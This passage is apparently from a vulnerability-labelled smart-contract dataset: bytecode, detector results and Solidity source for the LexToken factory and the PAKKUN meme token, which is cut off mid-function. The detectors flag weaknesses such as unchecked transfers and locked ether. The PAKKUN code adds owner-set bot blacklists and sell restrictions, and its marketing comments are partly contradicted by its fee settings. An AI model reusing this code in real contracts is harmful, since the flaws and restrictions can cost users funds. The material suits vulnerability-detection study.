d9085906004016117cc565b60206040518083038186803b158015610c2557600080fd5b505afa158015610c39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5d919061162b565b90505b92915050565b600080610c7660208401846113d5565b905060208301356000610c8f6060860160408701611563565b90506001816002811115610c9f57fe5b1480610cb657506002816002811115610cb457fe5b145b610cec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611a04565b6001816002811115610cfa57fe5b1415610e6357670de0b6b3a7640000821115610d42576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611a3b565b600073ffffffffffffffffffffffffffffffffffffffff841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610d7d575047610e22565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906370a0823190610dcf9030906004016117cc565b60206040518083038186803b158015610de757600080fd5b505afa158015610dfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1f919061162b565b90505b670de0b6b3a7640000831415610e3d579350610e6d92505050565b670de0b6b3a7640000610e50828561117a565b81610e5757fe5b04945050505050610e6d565b509150610e6d9050565b919050565b811580610f2057506040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063dd62ed3e90610ece90309087906004016117ed565b60206040518083038186803b158015610ee657600080fd5b505afa158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e919061162b565b155b81604051602001610f31919061165f565b60405160208183030381529060405290610f78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190611945565b506110318463095ea7b360e01b8585604051602401610f98929190611814565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060400160405280600781526020017f617070726f766500000000000000000000000000000000000000000000000000815250846111ce565b50505050565b60008061104760208401846113d5565b9050602083013560006110606060860160408701611563565b9050600181600281111561107057fe5b14806110875750600281600281111561108557fe5b145b6110bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611a04565b60018160028111156110cb57fe5b1415610e6357670de0b6b3a7640000821115611113576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611a3b565b600061111f8430610bb8565b905060008082136111335781600003611135565b815b9050670de0b6b3a7640000841415611153579450610e6d9350505050565b670de0b6b3a7640000611166828661117a565b8161116d57fe5b0495505050505050610e6d565b60008261118957506000610c60565b8282028284828161119657fe5b0414610c5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611b4a565b600060608573ffffffffffffffffffffffffffffffffffffffff16856040516111f79190611643565b6000604051808303816000865af19150503d8060008114611234576040519150601f19603f3d011682016040523d82523d6000602084013e611239565b606091505b509150915081848460405160200161125292919061174b565b60405160208183030381529060405290611299576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190611945565b5080511561131157808060200190518101906112b59190611543565b84846040516020016112c89291906116ca565b6040516020818303038152906040529061130f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190611945565b505b505050505050565b604080516080810182526000808252602082018190529181019190915260608082015290565b600082601f83011261134f578081fd5b815167ffffffffffffffff8082111561136457fe5b60405160207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f85011682010181811083821117156113a057fe5b6040528281529250828483016020018610156113bb57600080fd5b6113cc836020830160208801611b9a565b50505092915050565b6000602082840312156113e6578081fd5b8135610c5d81611bc6565b60008060408385031215611403578081fd5b823561140e81611bc6565b91506020830135600f81900b8114611424578182fd5b809150509250929050565b60008060408385031215611441578182fd5b823561144c81611bc6565b946020939093013593505050565b6000806040838503121561146c578182fd5b823561147781611bc6565b9150602083013561142481611bc6565b6000806000806040858703121561149c578182fd5b843567ffffffffffffffff808211156114b3578384fd5b818701915087601f8301126114c6578384fd5b8135818111156114d4578485fd5b8860206060830285010111156114e8578485fd5b602092830196509450908601359080821115611502578384fd5b818701915087601f830112611515578384fd5b813581811115611523578485fd5b886020828501011115611534578485fd5b95989497505060200194505050565b600060208284031215611554578081fd5b81518015158114610c5d578182fd5b600060208284031215611574578081fd5b813560038110610c5d578182fd5b600060208284031215611593578081fd5b815167ffffffffffffffff808211156115aa578283fd5b90830190608082860312156115bd578283fd5b6040516080810181811083821117156115d257fe5b60405282516115e081611bc6565b815260208301516115f081611bc6565b602082015260408381015190820152606083015182811115611610578485fd5b61161c8782860161133f565b60608301525095945050505050565b60006020828403121561163c578081fd5b5051919050565b60008251611655818460208701611b9a565b9190910192915050565b60007f5361666545524332303a2062616420617070726f76652063616c6c2066726f6d82527f2000000000000000000000000000000000000000000000000000000000000000602083015282516116bd816021850160208701611b9a565b9190910160210192915050565b60007f5361666545524332303a200000000000000000000000000000000000000000008252835161170281600b850160208801611b9a565b7f2072657475726e65642066616c736520696e2000000000000000000000000000600b91840191820152835161173f81601e840160208801611b9a565b01601e01949350505050565b60007f5361666545524332303a200000000000000000000000000000000000000000008252835161178381600b850160208801611b9a565b7f206661696c656420696e20000000000000000000000000000000000000000000600b9184019182015283516117c0816016840160208801611b9a565b01601601949350505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b8181101561188857835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101611856565b50909695505050505050565b60608101818460005b60028110156118bc57815183526020928301929091019060010161189d565b5050508260408301529392505050565b60808101818460005b60038110156118f45781518352602092830192909101906001016118d5565b5050508260608301529392505050565b60a08101818460005b600481101561192c57815183526020928301929091019060010161190d565b5050508260808301529392505050565b90815260200190565b6000602082528251806020840152611964816040850160208701611b9a565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526015908201527f434c49413a206465706f736974206661696c5b325d0000000000000000000000604082015260600190565b60208082526015908201527f434c49413a206465706f736974206661696c5b335d0000000000000000000000604082015260600190565b60208082526013908201527f49413a2062616420616d6f756e74207479706500000000000000000000000000604082015260600190565b6020808252600e908201527f49413a2062616420616d6f756e74000000000000000000000000000000000000604082015260600190565b6020808252818101527f434c49413a2073686f756c64206265203120746f6b656e416d6f756e745b325d604082015260600190565b60208082526013908201527f434c49413a207769746864726177206661696c00000000000000000000000000604082015260600190565b6020808252818101527f434c49413a2073686f756c64206265203120746f6b656e416d6f756e745b315d604082015260600190565b60208082526015908201527f434c49413a206465706f736974206661696c5b315d0000000000000000000000604082015260600190565b60208082526010908201527f49413a206d756c206f766572666c6f7700000000000000000000000000000000604082015260600190565b928352600f9190910b6020830152604082015260600190565b60005b83811015611bb5578181015183820152602001611b9d565b838111156110315750506000910152565b73ffffffffffffffffffffffffffffffffffffffff81168114611be857600080fd5b5056fea2646970667358221220411c282979abc12e031c7f338f39b64c0b309f4a2c0b60c7be5f2d4bfa2fa49964736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "name-reused", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,558
0x221cd07bebb9df4dc7d35b2830b2b3ae88aa9727
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager event Approval(address indexed owner, address indexed spender, uint256 value); event BalanceResolution(string resolution); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, address indexed resolver, string details); event UpdateSale(uint256 saleRate, bool forSale); event UpdateTransferability(bool transferable); mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function init( address payable _manager, address _resolver, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; resolver = _resolver; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; _mint(_manager, _managerSupply); _mint(address(this), _saleSupply); // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { require(value == 0 || allowances[msg.sender][spender] == 0, "!reset"); _approve(msg.sender, spender, value); return true; } function balanceResolution(address from, address to, uint256 value, string calldata resolution) external { // resolve disputed or lost balances require(msg.sender == resolver, "!resolver"); _transfer(from, to, value); emit BalanceResolution(resolution); } function burn(uint256 value) external { balanceOf[msg.sender] = balanceOf[msg.sender].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(msg.sender, address(0), value); } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, address _resolver, string calldata _details) external onlyManager { manager = _manager; resolver = _resolver; details = _details; emit UpdateGovernance(_manager, _resolver, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; _mint(address(this), _saleSupply); emit UpdateSale(_saleRate, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == value.length, "!token/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withrawTo, withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract CloneFactory { function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable lexToken bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; event LaunchLexToken(address indexed lexToken, address indexed manager, address indexed resolver, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, address _resolver, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) payable public { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _resolver, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); (bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall"); IERC20(lexDAOtoken).transfer(msg.sender, userReward); emit LaunchLexToken(address(lex), _manager, _resolver, _saleRate, _forSale); } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103265780638976263d1461033b578063a994ee2d146103d6578063e5a6c28f146103eb57610070565b8063417a1308146100755780634f411f7b1461026b578063565974d31461029c575b600080fd5b610269600480360361018081101561008c57600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b8111156100e257600080fd5b8201836020820111156100f457600080fd5b803590602001918460018302840111600160201b8311171561011557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561016757600080fd5b82018360208201111561017957600080fd5b803590602001918460018302840111600160201b8311171561019a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101ec57600080fd5b8201836020820111156101fe57600080fd5b803590602001918460018302840111600160201b8311171561021f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001351515610412565b005b34801561027757600080fd5b506102806107c3565b604080516001600160a01b039092168252519081900360200190f35b3480156102a857600080fd5b506102b16107d2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102eb5781810151838201526020016102d3565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033257600080fd5b50610280610860565b34801561034757600080fd5b506102696004803603608081101561035e57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460018302840111600160201b831117156103cb57600080fd5b509092509050610884565b3480156103e257600080fd5b50610280610992565b3480156103f757600080fd5b506104006109a1565b60408051918252519081900360200190f35b600061043d7f0000000000000000000000005f61426177f443c022ef1fe2ca39d84f8e3b80336109a7565b9050806001600160a01b0316631850f7668e8e8e8e8e8e8e8e8e8e8e8e6040518d63ffffffff1660e01b8152600401808d6001600160a01b031681526020018c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b838110156104fd5781810151838201526020016104e5565b50505050905090810190601f16801561052a5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b8381101561055d578181015183820152602001610545565b50505050905090810190601f16801561058a5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b838110156105bd5781810151838201526020016105a5565b50505050905090810190601f1680156105ea5780820380516001836020036101000a031916815260200191505b509f50505050505050505050505050505050600060405180830381600087803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b5050600080546040519193506001600160a01b0316915034908381818185875af1925050503d806000811461067b576040519150601f19603f3d011682016040523d82523d6000602084013e610680565b606091505b50509050806106c1576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b6001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561071857600080fd5b505af115801561072c573d6000803e3d6000fd5b505050506040513d602081101561074257600080fd5b8101908080519060200190929190505050508c6001600160a01b03168e6001600160a01b0316836001600160a01b03167f8663caf4d99644a7b67a43c517f166f535c34e993e08c20e4900f7e4521b27598d886040518083815260200182151581526020019250505060405180910390a45050505050505050505050505050565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108585780601f1061082d57610100808354040283529160200191610858565b820191906000526020600020905b81548152906001019060200180831161083b57829003601f168201915b505050505081565b7f0000000000000000000000005f61426177f443c022ef1fe2ca39d84f8e3b803381565b6000546001600160a01b031633146108cd576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b0319928316179092556001805492871692909116919091179055600283905561090e600383836109f9565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610a2f5760008555610a75565b82601f10610a485782800160ff19823516178555610a75565b82800160010185558215610a75579182015b82811115610a75578235825591602001919060010190610a5a565b50610a81929150610a85565b5090565b5b80821115610a815760008155600101610a8656fea2646970667358221220d5a1d9afe570f7f6120c2f0ee8a48e542816c83d1446b370baca95f61425918d64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,559
0x8765536573c56298f03cd1fe5260d6ae07ab4fe9
/* https://t.me/PakkunInu https://pakkun.xyz https://twitter.com/Pakkun_Inu https://www.reddit.com/r/PakkunInu We have a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, as a result; $PAKKUN is designed to reward holders and discourage dumping. 1. Bot and whale manipulation prevention: Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team or Marketing wallets assigned tokens. 100% of the tokens will go directly to Uniswap for trading. 3. No presale or team wallets allocated with tokens that can dump on the community. Token Information: - 1,000,000,000,000,000 (one quadrillion) Total Supply, burning 10% of this imemdiately to create a deflationary mechanism within the tokenomics! - Developers will provide LP and it is locked with Team.Finance - We have made the fairest possible launch for everyone and pre-announced, so there is no early secret buyers! - 0,6% transaction limit on launch - You can only buy 6000000000 $PAKKUN until it's lifted - Buy limit lifted to 1% of the supply 30 minutes after launch, then the ownership of the token is immediately renounced - Sells limited to 3% of the Liquidity Pool, <3% price impact - PAKKUN's Whale protection - Sell cooldown increases on consecutive sells, 5 sells within a 24 hours period are allowed - 2% redistribution to holders on all buys - 6% redistribution to holders on the first sell, increases 2x, 3x, 4x, 5x on consecutive sells - This redistribution mechanism works as expected above and benefits the holders much more than sellers! SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract PAKKUNInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Pakkun Shinobi's Inu"; string private constant _symbol = "PAKKUN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 6; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 5; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (12 hours); } else if (sellnumber[from] == 4) { sellnumber[from]++; sellcooldown[from] = 